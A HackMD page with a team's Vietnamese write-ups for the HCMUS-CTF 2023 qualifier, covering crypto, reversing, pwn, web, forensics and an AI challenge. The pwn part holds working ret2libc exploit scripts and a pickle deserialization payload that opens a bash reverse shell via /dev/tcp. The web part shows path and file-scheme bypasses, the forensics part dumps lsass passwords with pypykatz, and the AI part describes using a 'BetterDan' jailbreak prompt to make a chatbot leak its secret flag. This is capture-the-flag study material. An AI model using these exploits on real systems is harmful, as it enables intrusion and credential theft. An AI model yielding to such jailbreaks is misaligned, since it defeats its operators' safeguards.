kudo104
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # HCMUS-CTF 2023 Quals Write-ups by Re:Zero ## I. Crypto ### bootleg aes Chall cho 3 files `ciphertext.bin`, `enc.sh`, `log.txt`. Dựa vào file `enc.sh` và `log.txt` ta biết được rằng flag đã được pad đằng trước 253 bytes rồi mang đi encypt AES-CBC, key được ghi trong file `log.txt`. Do không có iv chính xác nên mình chỉ có thể decrypt đúng từ block thứ 2 trở đi nhưng điều này không ảnh hưởng tới flag. - Flag: `HCMUS-CTF{it5_c4ll3d_pr1v4t3_k3y_crypt09raphy_f0r_4_r3450n}` ### CRY1 Chương trình sẽ thực thi hàm handle mỗi khi có một kết nối tới. Khi một kết nối được gửi tới, nó sẽ gen user_id là số giây tính từ 1/1/1970 tới nay bằng hàm `int(time.time()` và lấy giá trị này làm seed để thực thi srand, nên đây là giá trị mà mình sẽ có thể lấy được. Sau đó chương trình gen ra 26 số ngẫu nhiên và thực hiện tính tổng các byte của flag và các giá trị ngẫu nhiên được gen ra từ đầu tới cuối. Thuật toán cũng khá đơn giản nên mình tổng kết được các ý sau: - Có 26 biến và format như sau: `x0*randnum[0] + x1*randnum[1] + ... + x25*randnum[25] == sum` (với biến sum được lấy từ server là giá trị mà server gửi cho mình) - Vậy cần 26 phương trình để giải hệ 26 phương trình 26 ẩn bằng z3 - Vậy ta cần lấy được số giây lúc chương trình chạy ứng với giá trị tổng của phương trình, tức ta phải lấy đúng seed và sum 26 lần Để lấy giá trị seed và sum (mình sẽ gọi là biến encode), khi vừa kết nối thì ta thực thi `time.time()` để lấy seed và khi server trả về sum thì ta lấy sum. Mình sẽ chạy liên tục để lấy toàn bộ dữ liệu và chạy trong vòng 27 giây để lấy nhiều trường hợp nhất có thể và từ đó lọc ra 27 trường hợp: ``` from pwn import * import time import random import os from z3 import * import threading done = 0 def get_seed_internal(): global done while not done: p = process('ncat --ssl cry1.chall.ctf.blackpinker.com 443'.split()) # p = remote('128.199.142.5', 8080) # p = remote('127.0.0.1', 8080) t = int(time.time()) p.recvuntil(b'flag: ') flag_enc = int(p.recvline().strip()) msg = f'{int(t)} {flag_enc}\n' with open('flagenc', 'a') as f: f.write(msg) print(int(t), flag_enc) p.close() def get_seed(): global done if os.path.exists('flagenc'): os.remove('flagenc') threading.Thread(target=get_seed_internal, args=()).start() time.sleep(28) done = 1 ``` Vì giá trị time.time() trên server thay đổi trước nên giá trị sum trả về cũng sẽ thay đổi trước so với khi ta chạy time.time() để lấy giây trên máy mình. Do đó ta có thể lấy dòng dữ liệu ngay trước lúc giá trị encode thay đổi với hàm sau: ``` seed = [] encode = [] def parse_seed_encode(): global seed, encode with open('flagenc', 'r') as f: datas = f.read().strip().split('\n') pres, pree = 0, 0 for i, data in enumerate(datas): s, e = data.split() s, e = int(s), int(e) if pres == 0 and pree == 0: pres = s pree = e elif e != pree: seed.append(pres) encode.append(pree) pres = s pree = e ``` Với seed và giá trị encode thì ta chỉ việc xài z3 để giải nữa là xong: ``` def gen_key(user_id): random.seed(user_id) return [random.randrange(1024) for i in range(26)] def solve_flag(): parse_seed_encode() print(len(seed)) print(seed) print(len(encode)) print(encode) arr = [Int(f'x{i}') for i in range(26)] s = Solver() # Add conditions for i in range(26): s.add(arr[i] > 0x20, arr[i] < 0x7f) for i in range(26): print(seed[i], encode[i]) data = gen_key(seed[i]) s.add(sum([a * b for a, b in zip(arr, data)]) == encode[i]) # Solve while s.check() == sat: for i in range(26): print(chr(s.model()[arr[i]].as_long()), end='') print() s.add(Or( arr[0] != s.model()[arr[0]], arr[1] != s.model()[arr[1]], arr[2] != s.model()[arr[2]], arr[3] != s.model()[arr[3]], arr[4] != s.model()[arr[4]], arr[5] != s.model()[arr[5]], arr[6] != s.model()[arr[6]], arr[7] != s.model()[arr[7]], arr[8] != s.model()[arr[8]], arr[9] != s.model()[arr[9]], arr[10] != s.model()[arr[10]], arr[11] != s.model()[arr[11]], arr[12] != s.model()[arr[12]], arr[13] != s.model()[arr[13]], arr[14] != s.model()[arr[14]], arr[15] != s.model()[arr[15]], arr[16] != s.model()[arr[16]], arr[17] != s.model()[arr[17]], arr[18] != s.model()[arr[18]], arr[19] != s.model()[arr[19]], arr[20] != s.model()[arr[20]], arr[21] != s.model()[arr[21]], arr[22] != s.model()[arr[22]], arr[23] != s.model()[arr[23]], arr[24] != s.model()[arr[24]], arr[25] != s.model()[arr[25]], )) ``` Để chạy 1 lần thì: ``` if __name__=='__main__': get_seed() solve_flag() ``` Chạy script trên máy thì không được, có thể do kết nối lâu nên seed bị sai, hoặc do server ở Singaport nên giá trị `int(time.time())` của server khác với máy. Ta deploy 1 con vps ở Singaport bằng Digital Ocean thì chạy một phát ra flag luôn. - Flag: `HCMUS-CTF{the_EASIEST_0ne}` ### falsehood Phân tích file `prob.py` mình biết được rằng key chính là hệ số của đa thức bậc 15 có dạng: $$ key[0]x^0 + key[1]x^1 +...+key[15]x^{15}=y $$ Mình cũng đã có 16 cặp giá trị $x,y$ trong file `ouput.txt` để giải hệ phương trình 16 ẩn: ``` from Crypto.Cipher import AES out = [[8833677163, 7159466859734884050485160017085648949938620549936739498951806707835448713685207536552299918328868591349533273061478374089984223260577742322460362334647], [1762352339, 226021067407224282748442153993506422184559341973942542463611713009302649608941949660293486972516731321467369225717344439888178648461773300463], [6814325828, 145915445591160853098610646953738314537732696913127480076359637783667652244881400087606152610739138506056218199806589240306741950875956525839170443027], [7865890147, 1255960511416167089973436987379886082394930531153251392262351559661203914293720867397614316726175343133363293139291718249474745356688772183204229822751], [3446680058, 5293859406843167459297872689128502546567761548640003856519557803475599388573073027426285178678302790672452768542207529392596772806973985884693237], [5877771652, 15883583178415793156782570756223737797760371065858523945056072346852806064052610100332389954372845836435762293469821829936427366159434784004504398291], [5589586633, 7472281200056449019563455444999813482028446397663996508394508567670602924631065370355170602075256758870709465268255309886778027432655593535614166637], [1175276268, 518629639886914674796931012497083502361229856009622285824810204881645367508380387007577326543311405957619591605841895258801496781885398507], [3312651249, 2920072124198357353277671402963439479294095254775553378538026906919501392975483266953780010186413153114694525677661955925502702904273824951901573], [1690420045, 120969905638890571692249167310237577968012605711450331530578304692989016303379573026678222839813088165787719888874515256743894818676147474521], [8298141391, 2802013920829536770649820952830225273137583982204944734413323800249577243089166668778583649665043009034143120874987986020037964205143133245123290632883], [733386150, 439287044309927586596972381366960178061704411347096135895831191742005839221734048948610767236121358802659929070752762370822244956535801], [7897145685, 1332938401210287323326359805632057169759318295533885927320250339098837407040892547133970478663396358868892779722453565866390506758764909670000617998161], [9797888335, 33864534898740204255025855638155912349784294672865719351405048784504660475905319925895086755774471151890089727930776090169445401259844048317273142069811], [4557234547, 349364318043137479854576449493426376983315472777226775365310579193760250715517761090058069937282741206013319707277840448237966901906357292702335951], [7667001731, 855344863189641492213600127143839128290386097202448105626863527763958015786114563445357087338205788545215994676722500375202243293047596358065835329663]] ct = bytes.fromhex('be205fd34ebe59af55ea11fec9aea50197fbf35d5b52c650a6c9563186625e8b6021ba31db538fa4b60c69a42c96ee3bebaba53ac9afa9c3c185d4d0b145bc8251d892c243f1aa4037aeea003714e24c') iv = bytes.fromhex('370abc6fce33f812de7b88daaa82e4c4') coff_1 = [] coff_2 = [] for i in range(16): tmp = [] for j in range(16): tmp.append(pow(out[i][0], j)) coff_1.append(tmp) coff_2.append(out[i][1]) A = matrix(coff_1) B = vector(coff_2) C = A.solve_right(B) key = bytes(C) Cipher = AES.new(key, AES.MODE_CBC, iv) flag = Cipher.decrypt(ct) print(flag) ``` - Flag: `HCMUS-CTF{just_because_you're_correct_doesn't_mean_you're_right}` ### M Side Phân tích file `prob.py` thì đây là hệ mã RSA với $p,q$ sao cho $4p^2+q^2$ là một số nguyên tố. Mình sẽ dùng tool https://www.alpertron.com/SUMCUAD.HTM để tổng hợp lại các bình phương, sau khi bỏ số `hint` vô tool ta đã có được $q \implies$ dễ dàng suy ra $p \implies$ `flag` ![](https://hackmd.io/_uploads/rJo4eg84n.png) - Flag: `HCMUS-CTF{either_thu3_0r_3uclid_wh1ch3v3r_it_t4k35}` ### Sneak Peak Phân tích file `prob.py` thì flag đã được mã hóa bằng RSA và biết được $MSB_{272}(p)$. Đây là dạng `Recovery from Most Significant Bits of p`, vấn đề ở đây là số bit bị mất đã lớn hơn 1/3 tổng số bit của p nên không thể dùng ma trận 3x3 thông thường để giải mà phải tạo một ma trận cấp lớn hơn. Rất may mình tìm được một implementation có sẵn nên không phải mất công tạo ma trận: `sol.sage` ``` # https://connor-mccartney.github.io/cryptography/small-roots/corrupt-key-1-picoMini from tqdm import tqdm from Crypto.Util.number import long_to_bytes def small_roots(f, X, beta=1.0, m=None): N = f.parent().characteristic() delta = f.degree() if m is None: epsilon = RR(beta^2/f.degree() - log(2*X, N)) m = max(beta**2/(delta * epsilon), 7*beta/delta).ceil() t = int((delta*m*(1/beta - 1)).floor()) f = f.monic().change_ring(ZZ) P,(x,) = f.parent().objgens() g = [x**j * N**(m-i) * f**i for i in range(m) for j in range(delta)] g.extend([x**i * f**m for i in range(t)]) B = Matrix(ZZ, len(g), delta*m + max(delta,t)) for i in range(B.nrows()): for j in range(g[i].degree()+1): B[i,j] = g[i][j]*X**j B = B.LLL() f = sum([ZZ(B[0,i]//X**i)*x**i for i in range(B.ncols())]) roots = set([f.base_ring()(r) for r,m in f.roots() if abs(r) <= X]) return [root for root in roots if N.gcd(ZZ(f(root))) >= N**beta] def recover(p_high, n, m): p_bits = (len(bin(n))-2)//2 p_high_bits = len(bin(p_high)) - 2 PR.<x> = PolynomialRing(Zmod(n)) f = p_high * 2**(p_bits-p_high_bits) + x x = small_roots(f, X=2**(p_bits-p_high_bits), beta=0.4, m=m) if x == []: return None p = int(f(x[0])) return p def solve(bits, m): for x in tqdm(range(2**bits, -1, -1)): _p = _p_high + x * 2**(256-bits) p_high = int(bin(_p)[:256+bits+2], 2) p = recover(p_high, n, m) if p is not None: return p peek = 6745414226866166172286907691060333580739794735754141517928503510445368134531623057 n = 137695652953436635868173236797773337408441001182675256086214756367750388214098882698624844625677992374523583895607386174643756159168603070583418054134776836804709359451133350283742854338177917816199855370966725059377660312824879861277400624102267119229693994595857701696025366109135127015217981691938713787569 ct = 60939585660386801273264345336943282595466297131309357817378708003135300231065734017829038358019271553508356563122851120615655640023951268162873980957560729424913748657116293860815453225453706274388027182906741605930908510329721874004000783548599414462355143868922204060850666210978837231187722295496753756990 _p_high = peek << 240 p = int(solve(bits=8, m=18)) q = n//p assert p*q==n e = 65537 phi = (p-1)*(q-1) d = pow(e,-1,phi) flag = pow(ct,d,n) print(long_to_bytes(int(flag))) ``` - Flag: `HCMUS-CTF{d0nt_b3_4n_3XhiB1ti0ni5t_0r_y0uLL_g3t_eXp0s3d}` ## II. RE ### Go_Mal! Phân tích từ `No flag for you.` mình đi lên. ![](https://hackmd.io/_uploads/H1DJkSU4n.png) Thực hiện kiểm tra độ dài của 2 chuỗi hash nếu bằng nhau sẽ thực hiện so sánh 2 chuỗi hash ![](https://hackmd.io/_uploads/HJT7yH8Eh.png) Tiếp tục phân tích lên trên thì thấy tạo hash dựa trên hàm `Crypto_hmac_New` key = `Bj7tSK6L4E8tmVebTzH0O0ylb1dTcdpahryyGi2of3q3TLXJxeNYdeUFveFehbOWqrjFQAxV4EF9Rb4c` và hàm time_time_add làm tham số HMAC `FFFFE914AAF3A000` ![](https://hackmd.io/_uploads/rJ2xLPIN3.png) ![](https://hackmd.io/_uploads/r1T0SvI42.png) Từ thông tin trên mình có script: ``` package main import ( "crypto/hmac" "crypto/sha256" "fmt" "time" ) func main() { key := []byte("Bj7tSK6L4E8tmVebTzH0O0ylb1dTcdpahryyGi2of3q3TLXJxeNYdeUFveFehbOWqrjFQAxV4EF9Rb4c") now := time.Now() timestamp := now.Add(-25200000000000).Unix() seconds := timestamp // var seconds uint64 = uint64(new_timestamp) - 57769949237 message := make([]byte, 8) message[0] = byte(seconds) message[1] = byte(seconds >> 8) message[2] = byte(seconds >> 16) message[3] = byte(seconds >> 24) message[4] = byte(seconds >> 32) message[5] = byte(seconds >> 40) message[6] = byte(seconds >> 48) message[7] = byte(seconds >> 56) fmt.Printf("%x\n", message) h := hmac.New(sha256.New, key) h.Write(message) fmt.Printf("%x\n", h.Sum(nil)) fmt.Printf("%x\n", seconds) fmt.Printf("%x\n", seconds - 15) } ``` ``` from pwn import * import time p = process('ncat --ssl go-mal.chall.ctf.blackpinker.com 443'.split()) time.sleep(0.5) q = process('./greeter.exe') res = q.recvline().strip() print(res) p.send(res) p.interactive() ``` ## III. RE + Crypto ### is_this_crypto? Phân tích thì biết được name và word được hash sha224 và check lại name với word. ![](https://hackmd.io/_uploads/BytMgyUE3.png) Tìm được name với word từ việc check hash name:`recis` favorite word:`cannibalization` Sau khi tìm được name với word thì dùng mã hóa aes_cbc để mã hóa file flag.txt `key = sha256(name)` và `iv = md5(word)` ![](https://hackmd.io/_uploads/HJ1sg18N2.png) Script ``` from Cryptodome.Cipher import AES from hashlib import sha256,md5 key = sha256("recis".encode('utf-8')).hexdigest() iv = md5("cannibalization".encode('utf-8')).hexdigest() key = bytes.fromhex(key) iv = bytes.fromhex(iv) cipher = AES.new(key, AES.MODE_CBC,iv) f = open("flag.txt.enc", "rb") ct = f.read() pt = cipher.decrypt(ct) print(pt) ``` Flag: `HCMUS-CTF{r_u_ready_for_fREddy?}` ## IV. Pwn ### Python is safe Đây là source file main.py: ```python #!/usr/bin/env python3 from ctypes import CDLL, c_buffer libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') buf1 = c_buffer(512) buf2 = c_buffer(512) libc.gets(buf1) if b'HCMUS-CTF' in bytes(buf2): print(open('./flag.txt', 'r').read()) ``` Bài này hình như được lấy từ một giải nào đó trong quá khứ nhưng mình không nhớ. Để giải bài này, ta chỉ việc spam các chuỗi `HCMUS-CTF` cho tới khi nào lấy được flag thì thôi, để chắc ăn thì nhập 1024 byte chuỗi đó là có flag, tức là `"HCMUS-CTF" * 120`. ![](https://hackmd.io/_uploads/Bkl2_VLN2.png) ### Coin mining Decompile thì ta thấy ngay lỗi BOF: ![](https://hackmd.io/_uploads/Hke824SN3.png) Kiểm tra lớp bảo vệ thì thấy 4 lớp đều bật, có canary, PIE động, Relro Full, do đó mục tiêu là leak canary, leak địa chỉ libc và tấn công theo kỹ thuật ret2libc: ```python #!/usr/bin/python3 from pwn import * exe = ELF('coin_mining_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) Host = 'coin-mining-e1445cf47f2cc88d.chall.ctf.blackpinker.com' if args.REMOTE: p = process(f'ncat --ssl {Host} 443'.split()) else: p = process(exe.path) ############################ ### Stage 1: Leak canary ### ############################ sla(b'coin? \n', b'1') sa(b'you: ', b'A'*0x89) p.recvuntil(b'A'*0x89) canary = u64(b'\0' + p.recv(7)) info("Canary: " + hex(canary)) ################################## ### Stage 2: Leak libc address ### ################################## sa(b'again: ', b'A'*0x98) p.recvuntil(b'A'*0x98) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x21b97 info(hex(libc.address)) ########################## ### Stage 3: Get shell ### ########################## payload = b'notHMCUS-CTF{a_coin_must_be_here}\n\0' payload = payload.ljust(0x88) payload += flat( canary, 0, libc.address + 0x0000000000161c27, next(libc.search(b'/bin/sh')), libc.address + 0x00000000001540bb, 0, libc.address + 0x0000000000001b96, 0, libc.sym['execve'] ) sa(b'again: ', payload) p.interactive() ``` Trong quá trình lấy shell, nếu xài system và set rdi thôi sẽ bị lỗi, còn nếu cũng xài system và set cả 3 thanh ghi rdi, rsi và rdx thì cũng bị lỗi. Chỉ khi xài execve thì mới lấy được shell. Flag là `HCMUS-CTF{gA1n_coin_everyday_better_c01n_better_he4th}` ### String chain Chall này cũng lại lấy từ 1 chall cũ của giải CakeCTF. Cấu trúc của biến String trong C++ như sau: ![](https://hackmd.io/_uploads/HkUTANBV3.png) Nếu chọn nhập c_str thì ta sẽ bắt đầu nhập từ chỗ mũi tên màu vàng và nhập không giới hạn --> **Buffer Overflow**. Nếu ta chọn nhập str thì sẽ nhập vào con trỏ str tại mũi tên màu xanh lá. Biến String trong C++ được thiết lập như sau: Nếu nhập số lượng byte bé hơn 16 byte thì dữ liệu được lưu trên stack, ngược lại dữ liệu sẽ được đưa hết lên heap. Sau khi nhập xong thì chương trình sẽ lưu số lượng byte đã nhập vào vị trí str size (cũng mũi tên màu xanh bên dưới con trỏ str). Lúc đầu, mình định hướng dùng c_str để thay đổi con trỏ của str thành got và dùng option 3 để ghi vào cái got đó với hàm callme để tạo shell. Chạy local toàn thành công nhưng lên server thì toàn thất bại nên không biết vì sao. Do đó mình đi theo hướng ret2libc luôn: Leak libc --> Leak stack --> Leak canary --> Ghi đè saved rip thành callme. ```python #!/usr/bin/python3 from pwn import * exe = ELF('chall_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) exe.sym['callme'] = 0x4016DE context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) Host = 'string-chan-fbd59ce5a2251598.chall.ctf.blackpinker.com' if args.REMOTE: p = process(f'ncat --ssl {Host} 443'.split()) else: p = process(exe.path) ############################ ### Stage 1: Leak canary ### ############################ sla(b'choice: ', b'1') sla(b'str: ', b'A'*0x20 + p64(0x404070) + p64(0x8)) sla(b'choice: ', b'4') p.recvuntil(b'str: ') libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['setbuf'] info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) ################################### ### Stage 2: Leak stack address ### ################################### sla(b'choice: ', b'1') sla(b'str: ', b'A'*0x20 + p64(libc.sym['environ']) + p64(0x8)) sla(b'choice: ', b'4') p.recvuntil(b'str: ') stack_leak = u64(p.recv(6) + b'\0\0') info("Stack leak: " + hex(stack_leak)) ############################ ### Stage 3: Leak canary ### ############################ sla(b'choice: ', b'1') sla(b'str: ', b'A'*0x20 + p64(stack_leak - 0x140) + p64(0x8)) sla(b'choice: ', b'4') p.recvuntil(b'str: ') canary = u64(p.recv(8)) info("Canary: " + hex(canary)) #################################### ### Stage 4: Overwrite saved rip ### #################################### sla(b'choice: ', b'1') payload = flat( b'A'*0x20, 0, 0, 0, 0, 0, canary, 0, 0, 0, exe.sym['callme'] + 5 ) sla(b'str: ', payload) sla(b'choice: ', b'0') p.interactive() ``` Flag là `HCMUS-CTF{it's_ok_i_still_love_you}` ### Pickle Trouble ![](https://hackmd.io/_uploads/Bk1U0DHNn.png) Chương trình sẽ yêu cầu ta nhập vào len và raw pickle data. Raw pickle data sẽ được xử lý bởi hàm read_pickle() của thư viện panda. Nếu đọc source của nó ta có thể thấy nó chỉ là pickle.loads cơ bản => lỗi pickle desealize: Exploit: ```python #!/usr/bin/python3 import pickle import secrets from pwn import * sa = lambda msg, data: p.sendafter(msg, data) class PickleRCE(object): def __reduce__(self): import os return (os.system,(command,)) command = "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9090 0>&1'" Host = 'pickle-trouble-aa915efd41b37431.chall.ctf.blackpinker.com' if args.REMOTE: p = process(f'ncat --ssl {Host} 443'.split()) else: p = remote('0', 8080) pickle_data = pickle.dumps(PickleRCE()) sa(b'(send as byte string)\n', str(len(pickle_data)).encode()) sa(b'(raw bytes)\n', pickle_data) p.interactive() ``` Flag là `HCMUS-CTF{S||\/|pL3_p1cKlE_ExpL01t-Huh}` ## V. Web ### Safe Proxy Ban đầu em thử fuzz nhiều cách như sau nhưng không được ![](https://hackmd.io/_uploads/rJCAsvSV2.png) Tưởng file protocol bị disable nên không thử view-source:file://. Sau khi có hint thử cách này thì lấy được flag: ``` /proxy?url=view-source:file:/// ``` Flag: HCMUS-CTF{browser_scheme_is_interesting!} ### Cute Quotes ![](https://hackmd.io/_uploads/HklOnvHE3.png) Location /api/private/ bị block. Nhưng app viết bằng Express -> auto convert path thành lowercase => /api/privAte/flag là sẽ bypass được Flag: `HCMUS-CTF{when_nginx_meet_express}` ## VI. Mics ### Sanity check Vô link discord tìm profile của admin là ra flag: ![](https://hackmd.io/_uploads/H1dRJBL42.png) - Flag: `HCMUS-CTF{simple_sanity_check}` ### Japanese Ta được cung cấp 1 file `huh.txt` với nội dung như sau: ``` 時には噛んだりして 痛みを覚えさせて 溢れるエキタイで汚してよ 全部 ``` Copy và dán lên gg thì được bài `Ifuudoudou` vì nội dung trong file `huh.txt` là lyrics của bài đó. Ta search tên bài lên google thì tìm được [trang fandom](https://vocaloidlyrics.fandom.com/wiki/%E5%A8%81%E9%A2%A8%E5%A0%82%E3%80%85_(Ifuudoudou)) của bài đó. Ở ngay đầu trang ta thấy được 5 singer của bài gốc: ![](https://hackmd.io/_uploads/r1QISEUN3.png) Mà đề kêu sắp theo first name, do đó mình có flag là `HCMUS-CTF{ifuudoudou-gumi_hatsunemiku_ia_kagaminerin_megurineluka}` ### grind attach cả 3 file db vào `SQLite browser` Dùng câu query sau để truy vấn những player tìm được hơn 9 trăm triệu điểm trong ngày 3 và có rank lớn hơn 5000 ```sql SELECT data_64_day3.ranking.rank,data_64_day3.ranking.uid,data_64_day3.ranking.name, data_64_day3.ranking.points - data_64_day2.ranking.points AS point_difference FROM data_64_day3.ranking JOIN data_64_day2.ranking ON data_64_day3.ranking.name = data_64_day2.ranking.name WHERE point_difference > 900000000 and data_64_day2.ranking.rank > 5000; ``` Tuy nhiên số lượng name còn quá lớn, dựa vào dữ kiện name có liên quan đến `a mathematical million-dollar problem` nên mình thêm regex để lấy ra những player có số trong tên ```sql SELECT data_64_day3.ranking.rank,data_64_day3.ranking.uid,data_64_day3.ranking.name, data_64_day3.ranking.points - data_64_day2.ranking.points AS point_difference FROM data_64_day3.ranking JOIN data_64_day2.ranking ON data_64_day3.ranking.name = data_64_day2.ranking.name WHERE point_difference > 900000000 and data_64_day2.ranking.rank > 5000 and data_64_day3.ranking.name REGEXP '[0-9]'; ``` Số lượng kết quả thu được ít hơn rất nhiều, tiếp theo mình thử gg từng tên xem có cái nào liên quan đến `a mathematical million-dollar problem` thì mình phát hiện player này: ![](https://hackmd.io/_uploads/HJdjDgIEn.png) Tên người dùng này liên quan đến hàm zeta riemann là một trong `a mathematical million-dollar problem` ![](https://hackmd.io/_uploads/H1gHzBUV3.png) Giá trị của `ζ(2)` là `pi^2/6` là khoảng `1.6449340668` Cuối cùng xem dữ liệu về player `ζ(2)` trong `data_64_final` để lấy dữ liệu chính xác nhất - Flag: `HCMUS-CTF{23983477-1.6449340668-2391789368-9614}` ## VII. Forensics ### Kiwi Mình được cung cấp 1 file minidump: ![](https://hackmd.io/_uploads/ryF9WSBNh.png) Vì đây không phải file hệ thống nên việc dùng volatility là bất khả thi. Nếu phân tích file với IDA hoặc WinDBG thì cũng không ích gì vì đó là file lsass. Sau khi tìm một hồi trên mạng thì mình tìm được 1 trang CTF cũng có phân tích file minidump: https://05t3.github.io/posts/DCTF/ Nó có giải thích cũng như là có xài tool pypykatz, là công cụ mimikatz của python, để dump pass của 1 tiến trình. Tải về và làm theo thì được flag: ![](https://hackmd.io/_uploads/S1T9zSHV2.png) Flag là `HCMUS-CTF{DuMp_cL34r_t3x1_p4sSw0rD_8y_WD1g3sT_4n|)_m1MiK4zt}` ## VIII. AI ### Social Engineering Sử dụng BetterDan https://www.jailbreakchat.com/prompt/8db3b7ea-4ff0-481b-90c1-bb12450296a3 Ban đầu bot đưa fake flag, sau đó em đòi bot đưa flag bắt đầu bằng HCMUS-CTF thì được real flag: ``` HCMUS-CTF{L4rge_L&nguag3_M[]del_Pr0mpT_Inj3cTION} ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
